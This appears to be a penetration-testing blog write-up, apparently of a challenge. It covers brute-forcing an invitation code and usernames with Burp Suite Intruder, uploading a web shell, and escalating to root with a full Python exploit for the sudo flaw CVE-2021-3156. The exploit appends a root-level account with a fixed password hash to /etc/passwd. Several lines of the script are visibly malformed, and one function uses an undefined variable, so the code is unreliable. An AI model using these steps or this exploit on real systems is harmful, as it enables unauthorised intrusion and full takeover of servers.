Using Burp Suite to Penetrate a System and Escalate Privileges via CVE-2021-3156

0x01 Reconnaissance and Initial Access

The challenge started with a login page. Directory scanning revealed no other entry points. Brute-forcing weak credentials seemed like the obvious approach, but without knowing the username policy, blindly attempting logins could trigger protective measures and expose or block our IP.

Observing a "Register" and "Forgot Password" link suggested alternative avenues.

First, I opened the registration page: Registration page

We could register an account by providing a username, password, and phone number. Notably, the username field only accepted Chinese characters (not alphanumeric), hinting that usernames are Chinese.

Initially, I assumed the invitation code was optional, but that wasn't the case. I used Burp Suite to brute-force the code.

Burp Suite intruder for invitation code

After capturing the request, I configured the Intruder module to iterate through values from 00000 to 99999 with an increment of 1: Intruder configuration

The corect code was found, and registration succeeded, but the account required approval. Attempting to log in failed: Login failed due to pending approval

From the registration process, we learned usernames are Chinese. Using Burp, I attempted to brute-force common Chinese names.

The username field was URL-encoded in the request. Directly importing Chinese characters into Burp would cause encoding issues (garbled text): Encoding issue

To resolve this, I first URL-encoded a list of common Chinese names using an online tool: URL encoding tool Encoded list

During the brute-force, some requests indicated "Account does not exist" while others showed "Incorrect password". However, the resposne lengths were identical. Burp's Grep-Match feature can differentiate them.

Grep-Match configuration

Navigate to Intruder's Options tab, find the Grep-Match section, which allows matching strings or regex in responses.

Clearing and adding patterns

Clear existing entries and add the pattern we want to match. For Chinese characters, convert them to hex and use regex. For example, to match "Incorrect password", convert it to hex using Python:

>>> "密码不正确".encode('utf-8').hex()
'e5af86e7a081e4b88de6ada3e7a1ae'

Add the hex value as a regex pattern: Adding hex pattern

Now, responses show the matched flag, making it easy to identify valid accounts for further brute-forcing: Responses with matched flag

Successfully extracted a valid account: Valid account found

Logged in and located a file upload point to deploy a shell: Upload point Shell uploaded Success

0x02 Privilege Escalation

Sudo Local Privilege Escalation (CVE-2021-3156)

Vulnerability Details: Sudo is a powerful utility that allows regular users to execute commands with root privileges. It is included in most Unix and Linux operating systems.

On January 26, 2021, a heap-based buffer overflow vulnerability (CVE-2021-3156, named "Baron Samedit") was disclosed in sudo, leading to local privilege escalation.

When executing commands on Unix-like systems, non-root users can use sudo to run commands as root. Due to improper escaping of backslashes in arguments, a heap buffer overflow occurs, allowing any local user (regardless of sudoers file entry) to gain root privileges without authentication or knowing the user's password.

This vulnerability had been present for nearly a decade before disclosure.

Affected Versions:

  • Sudo 1.8.2 – 1.8.31p2
  • Sudo 1.9.0 – 1.9.5p1

Checking the sudo version on the compromised server confirmed it was vulnerable: Sudo version

Note: The common test sudoedit -s / may not always indicate vulnerability correctly. Some sources claim that an error starting with "sudoedit:" means the system is vulnerable, while "usage:" means it's patched. This is not always accurate; test thoroughly.

Sudoedit test

Used a Python exploit script (Python 2 compatible, often pre-installed on CentOS):

#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER

SUDO_PATH = b"/usr/bin/sudo"
PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"aa:5:5:5AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n"

STACK_ADDR_PAGE = 0x7fffe5d35000
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)

def execve(filename, cargv, cenvp):
    libc.execve(filename, cargv, cenvp)

def spawn_raw(filename, cargv, cenvp):
    pid = os.fork()
    if pid:
        _, exit_code = os.waitpid(pid, 0)
        return exit_code
    else:
        execve(filename, cargv, cenvp)
        exit(0)

def spawn(filename, argv, envp):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(env))(*env)
    return spawn_raw(filename, cargv, cenvp)

resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

TARGET_CMND_SIZE = 0x1b50
argv = [
    "sudoedit", "-A", "-s", PASSWD_PATH,
    "A" * (TARGET_CMND_SIZE - 0x10 - len(PASSWD_PATH) - 1) + "\\",
    None
]

SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA + 0x20)
ADDR_PRIV_PREV = pack('<Q', SA + 0x10)
ADDR_CMND_PREV = pack('<Q', SA + 0x18)
ADDR_MEMBER_PREV = pack('<Q', SA + 0x20)
ADDR_DEF_VAR = pack('<Q', SA + 0x10)
ADDR_DEF_BINDING = pack('<Q', SA + 0x30)
OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA + OFFSET)
ADDR_MEMBER = pack('<Q', SA + OFFSET + 0x40)
ADDR_CMND = pack('<Q', SA + OFFSET + 0x40 + 0x30)
ADDR_PRIV = pack('<Q', SA + OFFSET + 0x40 + 0x30 + 0x60)

epage = [
    'A' * 0x8 +  # to not end with 0x00
    # fake def->var chunk (gets freed)
    '\x21', '', '', '', '', '', '',
    ADDR_PRIV[:6], '',  # pointer to privilege
    ADDR_CMND[:6], '',  # pointer to cmndspec
    ADDR_MEMBER[:6], '',  # pointer to member
    # fake def->binding (list head) (gets freed)
    '\x21', '', '', '', '', '', '',
    '', '', '', '', '', '', '', '',  # members.first
    'A' * 0x10 +  # members.last, pad
    # userspec chunk (gets freed)
    '\x41', '', '', '', '', '', '',  # chunk metadata
    '', '', '', '', '', '', '', '',  # entries.tqe_next
    'A' * 8 +  # entries.tqe_prev
    '', '', '', '', '', '', '', '',  # users.tqh_first
    ADDR_MEMBER[:6] + '', '',  # users.tqh_last
    '', '', '', '', '', '', '', '',  # privileges.tqh_first
    ADDR_PRIV[:6] + '', '',  # privileges.tqh_last
    '', '', '', '', '', '', '', '',  # comments.stqh_first
    # member chunk
    '\x31', '', '', '', '', '', '',  # chunk size, userspec.comments.stqh_last
    'A' * 8 +  # member.tqe_next, userspec.lineno
    ADDR_MEMBER_PREV[:6], '',  # member.tqe_prev, userspec.file
    'A' * 8 +  # member.name
    pack('<H', 284), '',  # type, negated
    'A' * 0xc +  # padding
    # cmndspec chunk
    '\x61' * 0x8 +  # chunk metadata (need prev_inuse flag)
    'A' * 0x8 +  # entries.tqe_next
    ADDR_CMND_PREV[:6], '',  # entries.teq_prev
    '', '', '', '', '', '', '', '',  # runasuserlist
    '', '', '', '', '', '', '', '',  # runasgrouplist
    ADDR_MEMBER[:6], '',  # cmnd
    '\xf9' + '\xff' * 0x17 +  # tag (NOPASSWD), timeout, notbefore, notafter
    '', '', '', '', '', '', '', '',  # role
    '', '', '', '', '', '', '', '',  # type
    'A' * 8 +  # padding
    # privileges chunk
    '\x51' * 0x8 +  # chunk metadata
    'A' * 0x8 +  # entries.tqe_next
    ADDR_PRIV_PREV[:6], '',  # entries.teq_prev
    'A' * 8 +  # ldap_role
    'A' * 8 +  # hostlist.tqh_first
    ADDR_MEMBER[:6], '',  # hostlist.teq_last
    'A' * 8 +  # cmndlist.tqh_first
    ADDR_CMND[:6], '',  # cmndlist.teq_last
]

cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P' * (padlen - 1))

env = [
    "A" * (7 + 0x4010 + 0x110) +  # overwrite until first defaults
    "\x21", "", "", "", "", "", "",
    "A" * 0x18 +  # defaults
    "\x41", "", "", "", "", "", "",  # chunk size
    "", "", "", "", "", "", "", "",  # next
    'a' * 8 +  # prev
    ADDR_DEF_VAR[:6] + '\', '\',  # var
    "", "", "", "", "", "", "", "",  # val
    ADDR_DEF_BINDING[:6] + '\', '\',  # binding
    ADDR_REFSTR[:6] + '\', '\',  # file
    "Z" * 0x8 +  # type, op, error, lineno
    "\x31", "", "", "", "", "", "",  # chunk size
    'C' * 0x638 +  # need prev_inuse and overwrite until userspec
    'B' * 0x1b0 +  # userspec chunk
    # this chunk is not used because list is traversed with curr->prev->prev->next
    "\x61", "", "", "", "", "", "",  # chunk size
    ADDR_USER[:6] + '\', '\',  # entries.tqe_next points to fake userspec in stack
    "A" * 8 +  # entries.tqe_prev
    "", "", "", "", "", "", "", "",  # users.tqh_first
    ADDR_MEMBER[:6] + '\', '\',  # users.tqh_last
    "", "", "", "", "", "", "", "",  # privileges.tqh_first
    "LC_ALL=C",
    "SUDO_EDITOR=/usr/bin/tee -a",  # append stdin to /etc/passwd
    "TZ=:",
]

ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
    env.extend(epage)

# last element: prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH) - 1 - 8]
env.append(None)

cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)

# write passwd line to stdin; it will be appended to /etc/passwd by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()

null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)

for i in range(8192):
    sys.stdout.write('%d\r' % i)
    if i % 8 == 0:
        sys.stdout.flush()
    exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
    if exit_code == 0:
        print("success at %d" % i)
        break

Upload the script to the web directory, obtain an interactive shell (e.g., via a reverse shell), and execute the script.

Running exploit script

Upon success, a new user aa is created with the default password www, granting root privileges.

0x03 Conclusion

Mastering tools like Burp Suite greatly simplifies penetration testing. This engagement leveraged several Burp features (Intruder, Grep-Match) to enumerate valid accounts and gain initial access, followed by a known privilege escalation exploit. Continued exploration of such tools yields significant advantages.

Tags: Burp Suite Penetration Testing Privilege Escalation CVE-2021-3156 Sudo

Posted on Sat, 09 May 2026 00:47:15 +0000 by projectshifter